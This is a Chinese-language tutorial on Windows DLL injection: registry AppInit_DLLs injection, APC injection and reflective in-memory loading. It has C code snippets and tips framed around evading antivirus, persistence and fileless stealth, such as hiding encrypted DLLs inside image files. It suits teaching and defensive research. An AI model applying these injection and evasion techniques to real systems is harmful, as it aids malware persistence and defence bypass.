42、DLL注入技术(二):注册表注入、APC注入、反射式注入

上一讲我们聊了最基础的远程线程注入和消息钩子注入。说实话,那些方法在实战中太容易被杀了。今天我要讲的这三种——注册表注入、APC注入、反射式注入,才是真正能在对抗中派上用场的硬货。

我个人习惯把注入技术分成两类:一类是「粗暴型」,比如CreateRemoteThread,直接开干;另一类是「隐蔽型」,今天这三种都属于后者。你想想看,如果杀软只盯着CreateRemoteThread,那换个思路不就绕过去了吗?

注册表注入:最古老的持久化手段

注册表注入,说白了就是利用Windows的AppInit_DLLs机制。系统在加载user32.dll时,会检查这个注册表项,然后自动加载指定的DLL。

路径在这里:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

需要修改两个值:

注册表项 类型 说明
AppInit_DLLs REG_SZ / REG_MULTI_SZ DLL路径,多个用空格或逗号分隔
LoadAppInit_DLLs REG_DWORD 设为1启用,0禁用
⚠️ 注意:从Vista开始,微软加了签名限制。如果系统启用了SecureBoot,未签名的DLL根本不会加载。我在Windows 10上踩过这个坑,折腾了半天才发现是签名问题。

代码实现其实很简单:

HKEY hKey;
LPCWSTR dllPath = L"C:\\Tools\\myhelper.dll";

RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
    0, KEY_SET_VALUE, &hKey);

RegSetValueEx(hKey, L"AppInit_DLLs", 0, REG_SZ,
    (BYTE*)dllPath, (wcslen(dllPath) + 1) * 2);

DWORD enable = 1;
RegSetValueEx(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD,
    (BYTE*)&enable, sizeof(enable));

RegCloseKey(hKey);

嗯,这里要注意:修改HKLM需要管理员权限。而且重启后才会生效——这既是优点也是缺点。优点是隐蔽,缺点是即时性差。

APC注入:异步过程调用的妙用

APC注入是我个人比较喜欢的一种方式。它不需要创建远程线程,而是利用每个线程的APC队列。

原理是这样的:每个线程都有一个APC队列。当你用QueueUserAPC时,系统会把函数指针塞进目标线程的队列。等目标线程进入alertable等待状态(比如SleepEx、WaitForSingleObjectEx),就会执行你的APC函数。

流程图如下:

攻击者进程 目标进程 线程A (等待中) 线程B (运行中) APC队列 → LoadLibrary → 其他APC → ... OpenProcess QueueUserAPC(LoadLibrary) 当线程A进入alertable等待状态时,APC队列中的LoadLibrary会被执行 线程B正在运行,不会执行APC,直到它进入等待状态

核心代码:

// 1. 打开目标线程
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);

// 2. 在目标进程中分配内存,写入DLL路径
LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL,
    MAX_PATH, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMem, dllPath, len, NULL);

// 3. 获取LoadLibraryA的地址
PTHREAD_START_ROUTINE pLoadLibrary = (PTHREAD_START_ROUTINE)
    GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

// 4. 插入APC
QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)pRemoteMem);
💡 实战技巧:我曾经在分析一个APT样本时,发现它用APC注入配合定时器。每隔30秒枚举一次系统线程,找到处于等待状态的线程就插入APC。这种方式比远程线程注入隐蔽得多,很多杀软不会监控QueueUserAPC。

APC注入有个硬伤:目标线程必须进入alertable状态。如果目标是个计算密集型的线程,一直在跑循环,那你的APC永远得不到执行。我建议配合线程挂起或等待事件来触发。

反射式注入:无文件落地的艺术

反射式注入,这才是真正的高级玩法。它不需要调用LoadLibrary,而是自己手动加载DLL。这意味着什么呢?意味着DLL可以完全在内存中,不落地磁盘。

我记得第一次看到反射式注入的实现时,心里就一个想法:这他妈才是逆向工程该有的样子。

核心原理:

  1. 把DLL的二进制数据直接读到内存中
  2. 手动解析PE结构,处理重定位
  3. 修复导入表,加载依赖的DLL
  4. 调用DLLMain,传入DLL_PROCESS_ATTACH

关键代码片段:

// 反射加载器的核心逻辑
DWORD ReflectionLoader(LPVOID pDllData) {
    // 1. 解析DOS头
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pDllData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pDllData + pDos->e_lfanew);

    // 2. 分配内存(按DLL的ImageBase对齐)
    LPVOID pBase = VirtualAlloc((LPVOID)pNt->OptionalHeader.ImageBase,
        pNt->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 3. 复制节区
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
    for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        memcpy((BYTE*)pBase + pSection[i].VirtualAddress,
               (BYTE*)pDllData + pSection[i].PointerToRawData,
               pSection[i].SizeOfRawData);
    }

    // 4. 修复重定位
    // ... 遍历重定位表,修正地址

    // 5. 修复导入表
    // ... 加载依赖DLL,获取函数地址

    // 6. 调用DLLMain
    DLLMAIN pDllMain = (DLLMAIN)((BYTE*)pBase +
        pNt->OptionalHeader.AddressOfEntryPoint);
    pDllMain(pBase, DLL_PROCESS_ATTACH, NULL);

    return 0;
}
🔑 关键点:反射式注入最大的优势是「无文件」。DLL数据可以通过网络传输、加密存储,甚至从注册表读取。我在做红队评估时,经常把DLL加密后藏在图片文件的末尾,用的时候再提取出来反射加载。

但反射式注入也有坑:

  • 重定位处理必须正确:如果DLL没有ASLR,而ImageBase又被占用了,你得自己处理重定位。我见过有人在这里写bug,导致DLL加载后直接崩。
  • TLS回调:有些DLL有TLS回调函数,反射加载时不会自动触发。如果你依赖TLS初始化,得手动调用。
  • 异常处理:反射加载的DLL,异常处理链可能不完整。建议在DLLMain里用SEH包一下。

三种注入技术的对比

特性 注册表注入 APC注入 反射式注入
持久性 高(重启后仍生效) 低(进程重启后失效) 低(内存中,重启消失)
隐蔽性 中(注册表有痕迹) 高(无新线程) 极高(无文件落地)
即时性 低(需重启进程) 中(需等待alertable) 高(立即执行)
权限要求 管理员 THREAD_SET_CONTEXT PROCESS_VM_WRITE + 执行
对抗难度 低(容易被注册表监控发现) 中(部分EDR会监控APC) 高(需要深度内存扫描)

我个人建议:如果是做持久化,注册表注入配合启动项是个不错的选择;如果是做一次性的代码执行,APC注入更干净;如果追求极致的隐蔽性,反射式注入是首选。

最后说一句:这些技术本身没有善恶之分。我在做安全研究时用它们来验证防御体系的有效性,但用在恶意软件里就是另一回事了。嗯,点到为止。


公众号:蓝海资料掘金营,微信deep3321